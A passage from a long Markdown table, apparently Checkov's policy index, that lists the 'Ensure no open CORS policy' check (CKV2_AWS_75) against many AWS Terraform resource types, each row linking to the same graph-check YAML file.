Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3519 | CKV2_AWS_75     | resource | aws_swf_domain                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3520 | CKV2_AWS_75     | resource | aws_synthetics_canary                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3521 | CKV2_AWS_75     | resource | aws_synthetics_group                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3522 | CKV2_AWS_75     | resource | aws_synthetics_group_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3523 | CKV2_AWS_75     | resource | aws_timestreaminfluxdb_db_instance                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3524 | CKV2_AWS_75     | resource | aws_timestreamquery_scheduled_query                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3525 | CKV2_AWS_75     | resource | aws_timestreamwrite_database                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3526 | CKV2_AWS_75     | resource | aws_timestreamwrite_table                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3527 | CKV2_AWS_75     | resource | aws_transcribe_language_model                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3528 | CKV2_AWS_75     | resource | aws_transcribe_medical_vocabulary                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3529 | CKV2_AWS_75     | resource | aws_transcribe_vocabulary                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3530 | CKV2_AWS_75     | resource | aws_transcribe_vocabulary_filter                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3531 | CKV2_AWS_75     | resource | aws_transfer_access                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3532 | CKV2_AWS_75     | resource | aws_transfer_agreement                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3533 | CKV2_AWS_75     | resource | aws_transfer_certificate                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3534 | CKV2_AWS_75     | resource | aws_transfer_connector                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3535 | CKV2_AWS_75     | resource | aws_transfer_profile                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3536 | CKV2_AWS_75     | resource | aws_transfer_server                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3537 | CKV2_AWS_75     | resource | aws_transfer_ssh_key                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3538 | CKV2_AWS_75     | resource | aws_transfer_tag                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3539 | CKV2_AWS_75     | resource | aws_transfer_user                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3540 | CKV2_AWS_75     | resource | aws_transfer_workflow                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3541 | CKV2_AWS_75     | resource | aws_verifiedaccess_endpoint                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3542 | CKV2_AWS_75     | resource | aws_verifiedaccess_group                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3543 | CKV2_AWS_75     | resource | aws_verifiedaccess_instance                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3544 | CKV2_AWS_75     | resource | aws_verifiedaccess_instance_logging_configuration                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3545 | CKV2_AWS_75     | resource | aws_verifiedaccess_instance_trust_provider_attachment            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3546 | CKV2_AWS_75     | resource | aws_verifiedaccess_trust_provider                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3547 | CKV2_AWS_75     | resource | aws_verifiedpermissions_identity_source                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3548 | CKV2_AWS_75     | resource | aws_verifiedpermissions_policy                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3549 | CKV2_AWS_75     | resource | aws_verifiedpermissions_policy_store                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3550 | CKV2_AWS_75     | resource | aws_verifiedpermissions_policy_template                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3551 | CKV2_AWS_75     | resource | aws_verifiedpermissions_schema                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3552 | CKV2_AWS_75     | resource | aws_volume_attachment                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3553 | CKV2_AWS_75     | resource | aws_vpc                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3554 | CKV2_AWS_75     | resource | aws_vpc_block_public_access_exclusion                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3555 | CKV2_AWS_75     | resource | aws_vpc_block_public_access_options                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3556 | CKV2_AWS_75     | resource | aws_vpc_dhcp_options                                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3557 | CKV2_AWS_75     | resource | aws_vpc_dhcp_options_association                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3558 | CKV2_AWS_75     | resource | aws_vpc_endpoint                                                 | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3559 | CKV2_AWS_75     | resource | aws_vpc_endpoint_connection_accepter                             | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3560 | CKV2_AWS_75     | resource | aws_vpc_endpoint_connection_notification                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3561 | CKV2_AWS_75     | resource | aws_vpc_endpoint_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3562 | CKV2_AWS_75     | resource | aws_vpc_endpoint_private_dns                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3563 | CKV2_AWS_75     | resource | aws_vpc_endpoint_route_table_association                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3564 | CKV2_AWS_75     | resource | aws_vpc_endpoint_security_group_association                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3565 | CKV2_AWS_75     | resource | aws_vpc_endpoint_service                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3566 | CKV2_AWS_75     | resource | aws_vpc_endpoint_service_allowed_principal                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3567 | CKV2_AWS_75     | resource | aws_vpc_endpoint_service_private_dns_verification                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3568 | CKV2_AWS_75     | resource | aws_vpc_endpoint_subnet_association                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3569 | CKV2_AWS_75     | resource | aws_vpc_ipam                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3570 | CKV2_AWS_75     | resource | aws_vpc_ipam_organization_admin_account                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3571 | CKV2_AWS_75     | resource | aws_vpc_ipam_pool                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3572 | CKV2_AWS_75     | resource | aws_vpc_ipam_pool_cidr                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3573 | CKV2_AWS_75     | resource | aws_vpc_ipam_pool_cidr_allocation                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3574 | CKV2_AWS_75     | resource | aws_vpc_ipam_preview_next_cidr                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3575 | CKV2_AWS_75     | resource | aws_vpc_ipam_resource_discovery                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3576 | CKV2_AWS_75     | resource | aws_vpc_ipam_resource_discovery_association                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3577 | CKV2_AWS_75     | resource | aws_vpc_ipam_scope                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3578 | CKV2_AWS_75     | resource | aws_vpc_ipv4_cidr_block_association                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3579 | CKV2_AWS_75     | resource | aws_vpc_ipv6_cidr_block_association                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3580 | CKV2_AWS_75     | resource | aws_vpc_network_performance_metric_subscription                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3581 | CKV2_AWS_75     | resource | aws_vpc_peering_connection                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3582 | CKV2_AWS_75     | resource | aws_vpc_peering_connection_accepter                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3583 | CKV2_AWS_75     | resource | aws_vpc_peering_connection_options                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3584 | CKV2_AWS_75     | resource | aws_vpc_security_group_egress_rule                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3585 | CKV2_AWS_75     | resource | aws_vpc_security_group_ingress_rule                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3586 | CKV2_AWS_75     | resource | aws_vpc_security_group_vpc_association                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3587 | CKV2_AWS_75     | resource | aws_vpclattice_access_log_subscription                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3588 | CKV2_AWS_75     | resource | aws_vpclattice_auth_policy                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3589 | CKV2_AWS_75     | resource | aws_vpclattice_listener                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3590 | CKV2_AWS_75     | resource | aws_vpclattice_listener_rule                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3591 | CKV2_AWS_75     | resource | aws_vpclattice_resource_configuration                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3592 | CKV2_AWS_75     | resource | aws_vpclattice_resource_gateway                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3593 | CKV2_AWS_75     | resource | aws_vpclattice_resource_policy                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3594 | CKV2_AWS_75     | resource | aws_vpclattice_service                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3595 | CKV2_AWS_75     | resource | aws_vpclattice_service_network                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3596 | CKV2_AWS_75     | resource | aws_vpclattice_service_network_resource_association              | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3597 | CKV2_AWS_75     | resource | aws_vpclattice_service_network_service_association               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3598 | CKV2_AWS_75     | resource | aws_vpclattice_service_network_vpc_association                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3599 | CKV2_AWS_75     | resource | aws_vpclattice_target_group                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3600 | CKV2_AWS_75     | resource | aws_vpclattice_target_group_attachment                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3601 | CKV2_AWS_75     | resource | aws_vpn_connection                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3602 | CKV2_AWS_75     | resource | aws_vpn_connection_route                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3603 | CKV2_AWS_75     | resource | aws_vpn_gateway                                                  | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3604 | CKV2_AWS_75     | resource | aws_vpn_gateway_attachment                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3605 | CKV2_AWS_75     | resource | aws_vpn_gateway_route_propagation                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3606 | CKV2_AWS_75     | resource | aws_waf_byte_match_set                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3607 | CKV2_AWS_75     | resource | aws_waf_geo_match_set                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3608 | CKV2_AWS_75     | resource | aws_waf_ipset                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3609 | CKV2_AWS_75     | resource | aws_waf_rate_based_rule                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3610 | CKV2_AWS_75     | resource | aws_waf_regex_match_set                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3611 | CKV2_AWS_75     | resource | aws_waf_regex_pattern_set                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3612 | CKV2_AWS_75     | resource | aws_waf_rule                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3613 | CKV2_AWS_75     | resource | aws_waf_rule_group                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 3614 | 